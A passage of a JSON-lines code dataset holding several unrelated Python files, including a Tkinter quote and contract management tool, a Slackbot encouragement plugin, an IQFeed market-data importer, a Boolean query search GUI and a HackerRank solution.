feature[argdiv:].shape + (1,)\n\n train['data'] = feature[:argdiv].reshape(shp1)\n train['label'] = label[:argdiv]\n\n test['data'] = feature[argdiv:].reshape(shp2)\n test['label'] = label[argdiv:]\n\n return train, test\n\ndef load_subint(argM, argN, argdiv, tuple_shape):\n feature, label = load_data(argM, argN, 'subint', tuple_shape)\n train, test = {}, {}\n\n train['data'] = feature[:argdiv]\n train['label'] = label[:argdiv]\n\n test['data'] = feature[argdiv:]\n test['label'] = label[argdiv:]\n\n return train, test\n","sub_path":"models/mixed_model/load_data.py","file_name":"load_data.py","file_ext":"py","file_size_in_byte":2288,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"624312932","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Wed Dec 19 22:05:40 2018\n\n@author: yiwen, Jerry\n\nhappy every day!!\n\"\"\"\nfrom os import error\nimport platform\nfrom tkinter.constants import DISABLED, NORMAL\nimport tkinter.filedialog\nimport tkinter as tk\nimport re\nfrom Quotesection import start_folder\nfrom process_SIF import SIF\nfrom contract_submit import test_contract\nfrom section import *\nfrom PC_dict import PC_name_list as PC_list\n\n\nclass Application(tk.Frame):\n def __init__(self, master=None):\n super().__init__(master)\n self.master = master\n self.grid(column=0, row=0)\n self.bgColor = '#EEEEEE'\n self.config(bg=self.bgColor, borderwidth=20)\n self.create_widgets()\n self.quoteinfotext.focus()\n # bind shift-enter key to generate quotation\n master.bind_all('', lambda e: self.contract_check())\n def paste_quote_text(self, event):\n \"\"\"\n Binded function to paste clipboard content into Text, after striping\n This is helpful to solve performance issues when a lot of \\t are copied from excel\n \"\"\"\n clipboard = self.clipboard_get()\n self.quoteinfotext.insert('end', clipboard.strip())\n return \"break\"\n def focus_next(self, event):\n \"\"\"binded function that switch the focus to the next widget\"\"\"\n event.widget.tk_focusNext().focus()\n # return 'break' is a trick to stop the original functionality of the event\n return \"break\"\n\n#set the widgets\n def create_widgets(self):\n # get the username and password\n tk.Label(self, text=\"CMS_User:\").grid(column=1, row=0)\n self.user = tk.Text(self, width=20, height=1)\n self.user.grid(column=2, row=0, columnspan=1)\n self.user.bind(\"\", self.focus_next)\n tk.Label(self, text=\"password: \").grid(column=1, row=1)\n self.user_password = tk.Text(self, width=20, height=1)\n self.user_password.grid(column=2, row=1, columnspan=1)\n self.user_password.bind(\"\", self.focus_next)\n self.login_button = tk.Button(self, text='Login&lock', command=self.CMS_login_check, height=1, width=10).grid(column=3, row=0)\n self.QuoteGenerator = tk.Label(self, text='Quote Generator',bg=self.bgColor, height=1, font=('Helvetica', 11, 'bold'))\n self.QuoteGenerator.grid(column=0, row=0, columnspan=1)\n\n self.quoteinfotext = tk.Text(self, height=3)\n if platform.system() == 'Darwin':\n self.quoteinfotext.bind('', self.paste_quote_text)\n self.quoteinfotext.bind('', self.paste_quote_text)\n self.quoteinfotext.bind(\"\", self.focus_next)\n self.quoteinfotext.grid(column=0, row=2, columnspan=4)\n \n #add a space line\n tk.Label(self, bg=self.bgColor).grid(column=2, row=11, columnspan=4)\n self.run = tk.Button(self, text = 'set folder', command=self.set_folder, highlightbackground=self.bgColor)\n self.run.grid(column=2, row=12, columnspan=1)\n self.clear = tk.Button(\n self, text='Clear All', command=self.clearall, highlightbackground=self.bgColor)\n self.clear.grid(column=0, row=12, columnspan=1)\n \n #add a space line\n tk.Label(self, bg=self.bgColor).grid(column=0, row=13, columnspan=4)\n\n self.OtherTools = tk.Label(self, text='Contract', bg=self.bgColor, font=('Helvetica', 11, 'bold'))\n self.OtherTools.grid(column=0, row=15, columnspan=1)\n\n # get the path of file and submit the SIF\n self.quote_label = tk.Label(self, text=\"Quote Number\").grid(column=0, row=16, columnspan=1)\n self.quotenumber = tk.Text(self, width=20, height=1)\n self.quotenumber.grid(column=1, row=16, columnspan=1)\n self.quotenumber.bind(\"\", self.focus_next)\n self.Contract_check_button = tk.Button(self, text=\"check Contract#\", command=self.contract_check).grid(column=2,row=16)\n self.Contractmessage = tk.StringVar()\n tk.Entry(self, textvariable=self.Contractmessage).grid(column=3, row=16)\n #add button for contract submission\n tk.Label(self, text=\"PO#: \").grid(column=0, row=17, columnspan=1)\n self.ponumber = tk.Text(self, width=20, height=1)\n self.ponumber.grid(column=1, row=17, columnspan=1)\n self.ponumber.bind(\"\", self.focus_next)\n #PC select\n tk.Label(self, text=\"PC: \").grid(column=2, row=17, columnspan=1)\n self.PC_option = tk.StringVar()\n self.PC_option.set(PC_list[0])\n self.PC_option_list = tk.OptionMenu(self, self.PC_option, *PC_list).grid(column=3, row=17)\n self.PC_lock_button = tk.Button(self, text='PC_lcok and save quote', command=self.quote_save).grid(column=3, row=18)\n self.contract_upload = tk.Button(self, text=\"contract submit\", command=self.contract_submit, state=DISABLED)\n self.contract_upload.grid(column=1, row=18)\n self.po_check = tk.Button(self, text=\"Check PO\", command=self.PO_check).grid(column=0, row = 18)\n #add a space line\n tk.Label(self, bg=self.bgColor).grid(column=0, row=19, columnspan=4) \n #Tittle: SIF upload\n self.OtherTools = tk.Label(self, text='SIF Upload', bg=self.bgColor, font=('Helvetica', 11, 'bold'))\n self.OtherTools.grid(column=0, row=20, columnspan=1) \n \n #SIF upload\n self.path_button = tk.Button(self, text=\"openfile\", command=self.selectPath).grid(column=0, row=22)\n self.SIF_upload_button = tk.Button(self, text=\"upload SIF\", command=self.SIF_upload).grid(column=2, row=22)\n self.file_path = tk.StringVar()\n tk.Label(self, textvariable = self.file_path).grid(column=1, row=22)\n tk.Label(self, text='success | fail: ').grid(column=3, row=21)\n self.SIFmessage = tk.StringVar()\n tk.Label(self, textvariable=self.SIFmessage).grid(column=3, row=22)\n self.errorLabel = tk.Label(self, bg=self.bgColor, fg='red')\n self.errorLabel.grid(column=0, row=23, columnspan=4)\n\n#all functions\n def CMS_login_check(self):\n user = self.user.get('1.0', 'end').strip()\n pd = self.user_password.get('1.0', 'end').strip()\n try:\n self.login_session\n self.user_password.config(state=DISABLED)\n except AttributeError:\n try:\n if user and pd:\n self.login_session = test_contract()\n self.login_session.login_user(user, pd)\n self.user.config(state=DISABLED)\n self.user_password.config(state=DISABLED)\n self.errorLabel.config(text=str(\"login sucess!\"))\n else:\n raise KeyError(f'no username or password detected')\n except KeyError as e:\n self.errorLabel.config(text=str(e))\n try:\n delattr(self, 'login_session')\n except AttributeError:\n pass\n \n def set_folder(self):\n quote_info = self.quoteinfotext.get('1.0', 'end').strip()\n try:\n start_folder(quote_info)\n self.errorLabel.config(text='Success!')\n except Exception as e:\n self.errorLabel.config(text=str(e))\n def selectPath(self):\n '''\n this module can read the file path\n the return path will be bond to self.path\n '''\n '''choose file and return the path'''\n self.path = tkinter.filedialog.askopenfilename()\n self.file_path_message = re.search(r'(/\\w+((-|_)\\w+)*\\.xlsx)$', self.path).group(0)\n self.file_path.set(self.file_path_message)\n # self.path.set(path_)\n print(self.path)\n def SIF_upload(self):\n quotename = self.quotenumber.get('1.0', 'end').strip()\n try:\n sifupload = self.login_session\n except AttributeError:\n self.errorLabel.config(text=str(\"please lock login first\"))\n raise KeyError(f'please lock login first')\n try:\n if self.path and quotename:\n try:\n sifupload.SIF_info_submit(quotename)\n file_name = 'uploadSIF.xlsx'\n sifupload.file_submit(file_name, self.path)\n sifupload.sample_check()\n self.SIFmessage.set(sifupload.message)\n except (KeyError, IndexError) as e:\n self.SIFmessage.set(str(e) + \", batchID created without product info updated\")\n else:\n raise AttributeError\n except AttributeError:\n err = str('please select SIF path and input quote#')\n self.SIFmessage.set(err)\n def contract_check(self):\n quote_name = self.quotenumber.get('1.0', 'end').strip()\n try:\n contract_search = self.login_session\n except AttributeError:\n self.errorLabel.config(text=str(\"please lock login first\"))\n raise KeyError(f'please lock login first')\n try:\n if quote_name:\n contract_search.contract_search(quote_name)\n else:\n raise KeyError(f'no login or quote# detected')\n self.Contractmessage.set(contract_search.contractno)\n except (KeyError, TypeError) as e:\n self.errorLabel.config(text=str(e))\n \n def quote_save(self):\n quote_name = self.quotenumber.get('1.0', 'end').strip()\n self.PC_name = self.PC_option.get()\n try:\n if quote_name:\n try:\n self.login_session\n except AttributeError:\n self.errorLabel.config(text=str(\"please lock login first\"))\n raise KeyError(f'please lock login first')\n self.login_session.quote_info(quote_name)\n self.login_session.quote_save_for_contract(self.PC_name)\n self.contract_upload['state'] = tk.NORMAL\n self.errorLabel.config(text=str('PC locked please go head submit the contract!'))\n else:\n raise KeyError(f'please input the quote# and login first')\n except KeyError as e:\n self.errorLabel.config(text=str(e))\n\n def contract_submit(self):\n quote_name = self.quotenumber.get('1.0', 'end').strip()\n po_value = self.ponumber.get('1.0', 'end').strip()\n try:\n if po_value:\n self.login_session.quote_submit()\n update_data = self.login_session.info_update()\n try:\n self.login_session.POinfo_search(po_value)\n self.login_session.contract_submit(update_data)\n self.errorLabel.config(\n text='contract draft submited, please check it on CMS!')\n except KeyError as e:\n self.erroLabel.config(test=str(e + \" can't link PO, please delete PO# and try submit draft\"))\n raise e\n else:\n self.login_session.quote_submit()\n update_data = self.login_session.info_update()\n self.login_session.contract_submit(update_data)\n self.errorLabel.config(text='contract draft submited, please check it on CMS!')\n except (KeyError, TypeError) as e:\n self.errorLabel.config(text=str(e))\n \n def PO_check(self):\n PO_name = self.ponumber.get('1.0', 'end').strip()\n try:\n if PO_name:\n try:\n self.login_session\n except AttributeError:\n self.errorLabel.config(text=str(\"please lock login first\"))\n raise KeyError(f'please lock login first')\n PO_search = self.login_session\n PO_search.POinfo_search(PO_name)\n self.errorLabel.config(text='PO found!')\n else:\n raise KeyError(f'no PO#')\n except KeyError as e:\n self.errorLabel.config(text=str(e)) \n\n def clearall(self):\n self.quoteinfotext.delete('1.0', 'end')\n self.errorLabel.config(text='')\n self.SIFmessage.set('')\n self.file_path.set('')\n self.Contractmessage.set('')\n self.ponumber.delete('1.0', 'end')\n self.quotenumber.delete('1.0', 'end')\n self.contract_upload['state'] = tk.DISABLED\n self.user.config(state=NORMAL)\n self.user_password.config(state=NORMAL)\n self.login_session.value_reset()\n\n\ndef main():\n root = tk.Tk()\n root.title('TSgo')\n app = Application(master=root)\n app.mainloop()\n\nif __name__ == '__main__':\n main()\n","sub_path":"my script/personal_CMS/quote_management.py","file_name":"quote_management.py","file_ext":"py","file_size_in_byte":12656,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"542823512","text":"from slackbot.bot import respond_to\n\n@respond_to('疲れた')\n@respond_to('つかれた')\ndef cheer(message):\n import random\n msg = [\"本当にお疲れさま\",\"よく頑張ってるね、偉いね\",\"あまり無理せず自分を大事にしろよ\",\"今日はご飯作ってあげるから、ゆっくりしてて\",\"辛かったら辞めていいよ。面倒を見てあげるから\"]\n one_msg = random.choice(msg)\n message.reply(one_msg)\n\n","sub_path":"plugins/mentions.py","file_name":"mentions.py","file_ext":"py","file_size_in_byte":453,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"53023441","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Tue Oct 24 16:20:22 2017\n\n@author: pashute\n\"\"\"\nimport iqfeed as iqfc\nimport pandas as pd\n# import numpy as np\n# import datetime\n# import scipy.io\nimport DataSys as dsys\n# import enum\n# import IQFeedClient as iqfc\n\nimport logging\nlogging.basicConfig(filename=\"log.iqfeed.txt\", level=logging.WARN)\nlogger = logging.getLogger(__name__)\n\n\ndef __indicator(row, col):\n ''' method for applying in lambda function '''\n x1 = row[col + '_x']\n y2 = row[col + '_y']\n if pd.isnull(x1) and pd.isnull(y2):\n return \"missing\"\n elif pd.isnull(x1):\n return \"missing1\"\n elif pd.isnull(y2):\n return \"missing2\"\n elif y2 == 0: \n return \"zero2\"\n else:\n return (x1/y2)-1\n\n\ndef __plobrem(row):\n ''' \n count problems in row (missing data or zero in iqfeed)\n supplising sorution fol arr plobrems\n '''\n return row['open':'volume'].apply(\n lambda x: isinstance(x, str)).sum()\n\n\ndef __rejected_count(row, tolerance):\n return row['o':'v'].apply(\n lambda x: (not isinstance(x, str)) and abs(x) > tolerance).sum()\n\n\ndef __failedmessage(func, symbol, reason):\n return \"failed {0} {1}: {2}\".format(func, symbol, reason)\n\n\nclass IQFeedImporter(object):\n tickers = pd.DataFrame()\n # columns=['datetime', 'open', 'high', 'low', 'close', \n # 'volume', 'oi', 'symbol'])\n # tickers.set_index(['symbol', 'datetime'])\n df_assets = pd.DataFrame()\n symbols = [] # 'CBOT', 'CFE', \"SPY\", \"AAPL\", \"GOOG\", \"AMZN\"]\n\n def imp1_call_iqfeed(self, symbol, date_start, date_end):\n # x iqfeed = iqfc.IQFeedClient(feeder)\n timeframe = 86400 # 60*60*24 86400 1440\n iqreq = iqfc.historicData(date_start, date_end, timeframe)\n dframe = iqreq.download_symbol(symbol)\n return dframe\n\n def imp1_check_iqfeed_result(self, dframe):\n if not(dframe.empty):\n dframe.dropna(\n subset=['open', 'high', 'low', 'close', 'volume'],\n how='all')\n\n if dframe.empty: # Note: Second check, not an else.\n logger.error(\"import_singleAsset failed: no data aquired.\")\n return False\n \n return True\n\n def imp1_manip_result(self, symbol, dframe):\n # set column names\n # dframe.rename_axis(\"datetime\")\n # dframe.columns = ['open', 'high', 'low', 'close', 'volume', 'oi']\n\n # add column with symbol\n dframe['symbol'] = pd.Series(\n [symbol for x in range(len(dframe.index))], \n index=dframe.index)\n\n # set symbol and date column as multi index\n dframe.reindex(columns=['symbol', 'datetime'])\n\n return True\n\n def import_single_asset(self, symbol, date_start, date_end):\n '''\n imports single asset\n '''\n failedstatus = \"failed. Import {0}\".format(symbol)\n status = \"starting\"\n\n # todo: add date_start and end in status. \n\n dframe = self.imp1_call_iqfeed(symbol, date_start, date_end)\n if dframe.empty:\n status = \"{0}: Empty or no results\".format(failedstatus)\n logger.error(status)\n return status\n \n # isok = self.imp1_check_iqfeed_result(dframe)\n # if not isok:\n # status = \"{0}: Empty or no results\".format(failedstatus)\n # logger.error(status)\n # return status\n\n # isok = self.imp1_manip_result(symbol, dframe)\n # if not isok:\n # status = \"{0}: Problem setting data\".format(failedstatus)\n # logger.error(status)\n # # return status\n\n cleansymbol = symbol.replace('.', '_')\n cleansymbol = cleansymbol.replace('#','_')\n cleansymbol = cleansymbol.replace('@','_')\n fileDetails = \"c:\\\\dev\\\\IQWorthy\\\\Data\\\\Feed\\\\Raw\\\\Updt_{0}.mat\".format(cleansymbol)\n dsys.DataSys.save_dataframe(dframe, fileDetails, \"mat\")\n # file_details = dsys.DataSys.datafile_details(\n # dsys.Prefixes.imported, dsys.DataFolders.imported, \n # symbol, date_start, date_end)\n # # fix: dsys.DataSys.save_dataframe(dframe, file_details)\n\n # self.tickers.reset_index()\n # dframe.reset_index()\n # self.tickers = self.tickers.append(dframe)\n # self.tickers.set_index(keys=['symbol', 'datetime'])\n\n status = \"ok. Imported {0}\".format(symbol)\n return status # for testing that we got here\n \n def import_all_assets(self, date_start, date_end):\n stage = \"starting\"\n self.load_symbols() # get symbols list\n\n if len(self.symbols) < 1:\n stage = \"failed. Import all: Symbols not loaded correctly. Aborted\"\n logger.error(stage)\n return stage\n \n runcount = 0\n for item in self.symbols:\n runcount += 1\n data = self.import_single_asset(item, date_start, date_end)\n #data = \"\".join(data.split(\"\\r\"))\n #data = data.replace(\",\\n\", \"\\n\")[:-1]\n\n # todo: write to database. \n # currently: adding to tickers dataframe\n # self.tickers.append(data)\n\n # Write the data stream to disk\n # f = open(\"{0}.csv\".format('sym'), \"w\")\n # f.write(data)\n # f.close()\n stage = \"ok. Import all: {0}\".format(runcount)\n logger.error(stage)\n return stage\n\n def load_symbols(self):\n '''\n loads symbols-list from excel\n '''\n \n settingsfldr = dsys.DataFolders.settings\n assetslistfile = \"{0}.{1}\".format(\n dsys.Prefixes.assets, dsys.Extensions.excel) # \"AssetNamesNew.v01.xlsx\"\n\n file_details = dsys.DataSys.details_byfolder(\n settingsfldr, assetslistfile)\n symbols_column = 4 # todo: config\n sheetname = dsys.DataSys.assets_sheetname\n \n # dframe = pd.read_excel(file_details, sheetname=sheetname, index_col=0,\n # na_values='NA', usecols=symbols_column)\n assets_iq = [\"SPX.XO\", \"COMPX.X\",\"INDU.X\",\"RUT.X\",\t\"CAC.X\"\t,\"DAX.X\",\t\"UKX.X\",\t\"HKHI.X\",\t\"NIK.X\",\n \t\"BVSP.X\",\t\"QCL#\",\t\"XAUUSD.FXCM\"\t,\"@W#\"\t,\"EURUSD.FXCM\",\t\"@TY#\",\t\"MMSWRLD.X\"\t,\"MXEA.X\"\t,\"RUI.X\",\n \"C.T0000.X\"\t,\"QHG#\"\t,\"QSI#\",\"@C#\",\"JPYUSD.COMP\",\"GBPUSD.FXCM\",\"AUDUSD.FXCM\",\"CADUSD.COMP\",\"CHFUSD.COMP\",\n \"KOREA.X\",\"@CC#\",\"ICF#\",\"@HE#\",\"@S#\",\"@LE#\",\"@RR#\"]\n assets_bloom = [\n \"SPX_Index\",\n \"CCMP_Index\",\n \"INDU_Index\",\n \"RTY_Index\",\n \"CAC_Index\",\n \"DAX_Index\",\n \"UKX_Index\",\n \"HSI_Index\",\n \"NKY_Index\",\n \"IBOV_Index\",\n \"CL1_Comdty\",\n \"XAU_Curncy\",\n \"W_1_Comdty\",\n \"EURUSD_Curncy\",\n \"TY1_Comdty\",\n \"MXWO_Index\",\n \"MXEA_Index\",\n \"RIY_Index\",\n \"SPTSX_Index\",\n \"HG1_Comdty\",\n \"SI1_Comdty\",\n \"C_1_Comdty\",\n \"JPYUSD_Curncy\",\n \"GBPUSD_Curncy\",\n \"AUDUSD_Curncy\",\n \"CADUSD_Curncy\",\n \"CHFUSD_Curncy\",\n \"KOSPI_Index\",\n \"CC1_Comdty\",\n \"AX1_Comdty\",\n \"LH1_Comdty\",\n \"S_1_Comdty\",\n \"LC1_Comdty\",\n \"RR1_Comdty\" \n ]\n\n # self.df_assets.loc[:,0] = assets_iq\n # self.df_assets.columns = assets_bloom\n \n\n\n # fix. Read from excel\n # if self.df_assets.empty:\n # stage = \"Load symbols failed. No dataframe from {0}\".format(file_details)\n # logger.error()\n # return\n # self.df_assets = self.df_assets.dropna(how='all')\n\n self.symbols = assets_iq # self.df_assets.values.tolist()\n # if self.symbols.count() < 1:\n # stage = \"Load symbols failed. Could not load symbols list\"\n # logger.error(stage)\n # return stage # in case we do anything else later\n\n stage = \"ok\"\n return stage\n\n def load_bloomberg(self, symbol, date_start, date_end):\n file_details = dsys.DataSys.datafile_details(\n dsys.Prefixes.bloomberg_compare,\n dsys.DataFolders.compare_from,\n symbol, date_start, date_end,\n dsys.Extensions.excel)\n\n bloomcols = \"1,2,3,4,5,6\" \n # \"Date,PX_OPEN,PX_HIGH,PX_LOW,PX_LAST,PX_VOLUME\"\n\n dframe = pd.read_excel(file_details, # sheetname=bloomsheet, \n index_col=0,\n na_values='NA', parse_cols=bloomcols)\n if dframe is None or dframe.empty:\n status = __failedmessage('loadbloom', symbol, 'No compare data')\n logger.error(status)\n return\n \n dframe.columns = ['datetime', 'open', 'high', 'low', 'close', 'volume', 'oi', 'symbol']\n dframe['symbol'] = symbol\n # X dframe['volume'] = 0\n dframe['oi'] = 0\n dframe.set_index(['symbol', 'datetime']) \n\n return dframe\n\n def analyze_symbol(self, symbol, date_start, date_end):\n '''\n analyzes iqfeed vs. bloomberg\n outputs: in_iq, in_bloom, rejects, compared\n '''\n\n # pseudo: \n # startdate: max first1:first2\n # enddate: min last1:last2\n\n # find dates not in df1\n # find dates not in df2\n # for each line: na1, na2, na, zero2\n # for each line: (v1/v2)-1\n\n stage = \"failed\"\n\n df1 = self.tickers.loc[(self.tickers['symbol'] == symbol)]\n if df1.empty:\n stage = __failedmessage('analyze', symbol, 'No feed data')\n logger.error(stage)\n return stage\n\n df2 = self.load_bloomberg(symbol, date_start, date_end)\n if df2 is None or df2.empty:\n stage = __failedmessage('analyze', symbol, 'No comparison data')\n logger.error(stage)\n return stage\n\n # 1. compare only dates inside both\n feedDate1 = df1['date'].head(1)\n bloomDate1 = df2['date'].head(1) # .iloc[0]\n date1 = max(feedDate1, bloomDate1)\n # x df1['date'] = pd.to_datetime(df1['date'])\n\n feedDate2 = df1['date'].tail(1)\n bloomDate2 = df2['date'].tail(1)\n date2 = min(feedDate2, bloomDate2)\n # fix: check for errors in dates\n\n df1 = df1.xs(\n symbol, slice(date1, date2),\n level=('symbol', 'date'))\n\n df2 = df2.xs(\n symbol, slice(date1, date2),\n level=('symbol', 'date'))\n \n if df1.empty or df2.empty:\n stage = __failedmessage(\n 'analyze', symbol, 'No date within compared dates')\n logger.error(stage)\n return stage\n \n # remove na-rows from both and then compare missing dates\n # Note: if both missing a date it will be removed without report\n # check na in columns except symbol and date\n cols1 = len(df1.columns) - 2\n cols2 = len(df2.columns) - 2\n df1 = df1.dropna(subset=df1.columns[cols1:], how='all')\n df2 = df2.dropna(subset=df2.columns[cols2:], how='all')\n\n if df1.empty or df2.empty:\n stage = __failedmessage('analyze', symbol, 'Missing input data')\n logger.error(stage)\n return stage\n\n # create the merge, the bloom only and iqfeed only\n dfcommon = df1.merge(\n df2, on=['symbol', 'date'], left_index=True, right_index=True)\n stage = \"failed. Analyze {0}\"\n iq_only = df1[(~df1.index.isin(dfcommon.index))]\n bloom_only = df2[(~df1.index.isin(dfcommon.index))]\n stage = \"Created summaries of unique in iqfeed and Bloomberg\" \n\n # mark indicators: col1/col2-1 or: missing/missing1/missing2/zero2\n tolerance = 1.5 # config\n for col in ['open', 'high', 'low', 'close', 'volume']:\n dfcommon[col] = dfcommon.apply(\n lambda row: __indicator(row, col), axis=1)\n # https://stackoverflow.com/questions/44140489/get-non-numerical-rows-in-a-column-pandas-python/44140542#44140542\n # https://stackoverflow.com/questions/10665889/how-to-take-column-slices-of-dataframe-in-pandas\n dfcommon['missing'] = dfcommon.apply(lambda row: __plobrem(row))\n dfcommon['rejected'] = dfcommon.apply(\n lambda row: __rejected_count(row, tolerance))\n stage = \"done preparing common data\"\n \n extension = dsys.Extensions.excel # change this if we want matlab\n file_details = dsys.DataSys.datafile_details(\n dsys.Prefixes.bloomberg_only, dsys.DataFolders.rejected,\n symbol, date1, date2, extension)\n dsys.DataSys.save_dataframe(bloom_only, file_details, extension)\n stage = \"symbol {0} saved dates unique to bloom\".format(symbol)\n\n # save iq only\n extension = dsys.Extensions.excel # change this if we want matlab\n file_details = dsys.DataSys.datafile_details(\n dsys.Prefixes.iqfeed_only, dsys.DataFolders.rejected,\n symbol, date1, date2, extension)\n dsys.DataSys.save_dataframe(iq_only, file_details, extension)\n stage = \"symbol {0} saved dates unique to iqfeed\".format(symbol)\n\n # save rejected\n rejectedrow_tolerance = 3\n dfrejected = dfcommon.loc[(\n (dfcommon['rejected'] > rejectedrow_tolerance) and\n (dfcommon['missing'] > rejectedrow_tolerance))]\n\n extension = dsys.Extensions.excel\n file_details = dsys.DataSys.datafile_details(\n dsys.Prefixes.rejected, dsys.DataFolders.rejected,\n symbol, date1, date2, extension)\n dsys.DataSys.save_dataframe(dfrejected, file_details, extension)\n stage = \"symbol {0} saved rejected (over tolerance)\".format(symbol)\n\n # save compiled\n dfcompiled = dfcommon.loc[(\n (dfcommon['rejected'] <= rejectedrow_tolerance) and\n (dfcommon['missing'] <= rejectedrow_tolerance))]\n\n extension = dsys.Extensions.excel\n file_details = dsys.DataSys.datafile_details(\n dsys.Prefixes.compiled, dsys.DataFolders.compiled,\n symbol, date1, date2, extension)\n dsys.DataSys.save_dataframe(dfcompiled, file_details, extension)\n # stage = \"symbol {0} saved rejected (over tolerance)\".format(symbol)\n\n stage = \"Done\"\n return stage\n\n \n# ------------------------ Internals ---\n\n","sub_path":"IQFeedImporter.py","file_name":"IQFeedImporter.py","file_ext":"py","file_size_in_byte":14464,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"289331540","text":"import io\nimport os\nimport json\nimport string\nfrom tkinter import *\nos.system('python pos_index.py')\nsplit_string = \"\"\nDict = {}\nfreqcounter = 1\n\n# This class is made to process query inside a stack and take care of precedence\n# The query is pushed inside a stack and turn by turn popoed and processed \nclass Stack:\n def __init__(self):\n self.items = []\n\n def isEmpty(self):\n return self.items == []\n\n def push(self, item):\n self.items.append(item)\n\n def pop(self):\n return self.items.pop()\n\n def peek(self):\n return self.items[len(self.items)-1]\n\n def size(self):\n return len(self.items)\n\n\n# This function is made to process query where query is pushed inside a stack\n# The stack is then popped term by term and processed and answer stored and appended \ndef search(term,Dict):\n lst = ['1','2','3','4','5','6','7','8','9','10,',\n '11','12','13','14','15','16','17','18','19','20',\n '21','22','23','24','25','26','27','28','29','30',\n '31','32','34','34','35','36','37','38','39','40',\n '41','42','43','44','45','46','47','48','49','50']\n \n num = 0\n dist = 0\n answer = []\n value = []\n ans = []\n cont1 = []\n cont2 = []\n temp = []\n nlst = []\n s = Stack()\n stack = Stack()\n wordstk = Stack()\n term = term.split(' ')\n \n for x in term:\n s.push(x)\n\n while not s.isEmpty():\n word = s.peek()\n s.pop()\n stack.push(word)\n\n \n\n while not stack.isEmpty():\n if stack.peek() != 'and' and stack.peek() != 'or' and stack.peek() != 'not':\n slash = stack.peek() \n if ord(slash[0]) == 47:\n diff = int(slash[1])\n cont1 = value[-1]\n value.remove(value[-1])\n cont2 = value[-1]\n value.remove(value[-1])\n nlst = set(cont1).intersection(set(cont2))\n word1 = Dict[wordstk.pop()][0]\n word2 = Dict[wordstk.pop()][0]\n for docid in nlst: \n if docid in word1:\n poswrd1 = word1[docid]\n if docid in word2:\n poswrd2 = word2[docid]\n for i in range(len(poswrd1)):\n for j in range(len(poswrd2)):\n match = poswrd1[i] - poswrd2[j]\n if match < 0:\n match = match * -1\n if match <= diff+1:\n print(diff, match, docid)\n answer.append(docid)\n ans = answer\n else:\n continue\n stack.pop()\n else:\n if stack.peek() in Dict:\n value.append(Dict[stack.peek()][0].keys())\n ans = value[-1]\n wordstk.push(stack.peek()) \n stack.pop()\n num = num + 1\n else:\n stack.pop()\n \n else:\n if stack.peek() == 'and':\n stack.pop()\n if stack.peek() == 'not':\n stack.pop()\n if stack.peek() in Dict:\n value.append(Dict[stack.peek()][0].keys())\n stack.pop()\n temp = set(lst).difference(set(value[-1]))\n value.remove(value[-1])\n ans = set(temp).intersection(set(ans))\n \n else:\n if stack.peek() in Dict:\n value.append(Dict[stack.peek()][0].keys())\n stack.pop()\n temp = value[-1]\n value.remove(value[-1])\n ans = set(ans).intersection(set(temp))\n\n elif stack.peek() == 'or':\n stack.pop()\n if stack.peek() == 'not':\n stack.pop()\n if stack.peek() in Dict:\n value.append(Dict[stack.peek()][0].keys())\n stack.pop()\n temp = set(lst).difference(set(value[-1]))\n value.remove(value[-1])\n ans = set(temp).union(set(ans))\n \n else:\n if stack.peek() in Dict:\n value.append(Dict[stack.peek()][0].keys())\n stack.pop()\n temp = value[-1]\n value.remove(value[-1])\n ans = set(ans).union(set(temp))\n \n elif stack.peek() == 'not':\n stack.pop()\n if stack.peek() in Dict:\n value.append(Dict[stack.peek()][0].keys())\n stack.pop()\n ans = set(lst).difference(set(value[-1]))\n value.remove(value[-1])\n return ans\n\n# This is thr main function which gives directories of all stories present and the stopword list\n# Here using tkinter a GUI is made where query is taken stored\n# sent to concerned functions and answered displayed in answer box \ndef main():\n with open('Dictionary.json') as json_file:\n Dict = json.load(json_file)\n \n root = Tk()\n root.title('Query Search Box')\n bottomframe = Frame(root)\n bottomframe.pack(side=BOTTOM)\n\n Labeltext = StringVar()\n Label(bottomframe, textvariable=Labeltext).pack(side=LEFT)\n # This function is triggered on button press to process query and display answer\n def click():\n s = entry.get()\n s= s.lower()\n answer = search(s,Dict)\n if len(answer) == 0:\n Labeltext.set(\"no result found\")\n else: \n Labeltext.set(str(answer))\n \n topframe = Frame(root)\n Label(topframe, text='Text to find:').pack(side=LEFT)\n entry = Entry(topframe)\n entry.pack()\n button = Button(topframe, text=\"search\", command = click)\n button.pack()\n topframe.pack(side = TOP)\n root.mainloop()\n\n \nmain()\n","sub_path":"Assignment1.py","file_name":"Assignment1.py","file_ext":"py","file_size_in_byte":6211,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"538331416","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\n# Exercise link: https://www.hackerrank.com/challenges/minimum-absolute-difference-in-an-array\n\ndef minimumAbsoluteDifference(a):\n if len(a) != len(list(set(a))): return 0\n \n l = sorted(a)\n t = []\n \n for i in range(len(l)-1):\n t.append(abs(l[i]-l[i+1]))\n \n return min(t)\n\nif __name__ == '__main__':\n fptr = open(os.environ['OUTPUT_PATH'], 'w')\n\n n = int(input())\n\n arr = list(map(int, input().rstrip().split()))\n\n result = minimumAbsoluteDifference(arr)\n\n fptr.write(str(result) + '\\n')\n\n fptr.close()\n\n","sub_path":"problem_solving/Minimum Absolute Difference in an Array.py","file_name":"Minimum Absolute Difference in an Array.py","file_ext":"py","file_size_in_byte":600,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"619182586","text":"#exec(open('.\\\\templates\\\\preproc_column_transformer.py').read())\nimport subprocess as sp\nimport importlib as il\nimport pickle as pk\nimport numpy as np\nimport sklearn.compose as sc\nimport sklearn.preprocessing as pp\nimport sklearn.pipeline as pl\nimport sklearn.ensemble as ensemble\nimport sklearn.model_selection as ms\n\nimport datacfg\n\nif __name__ == '__main__':\n sp.call('cls', shell = True)\n il.reload(datacfg)\n\n with open(datacfg.datacfg()['adult']['filepath'], 'rb') as fl:\n df = pk.load(fl)\n\n # Set feature and target columns.\n ycols = set(['class'])\n xcols = set(df.columns) - 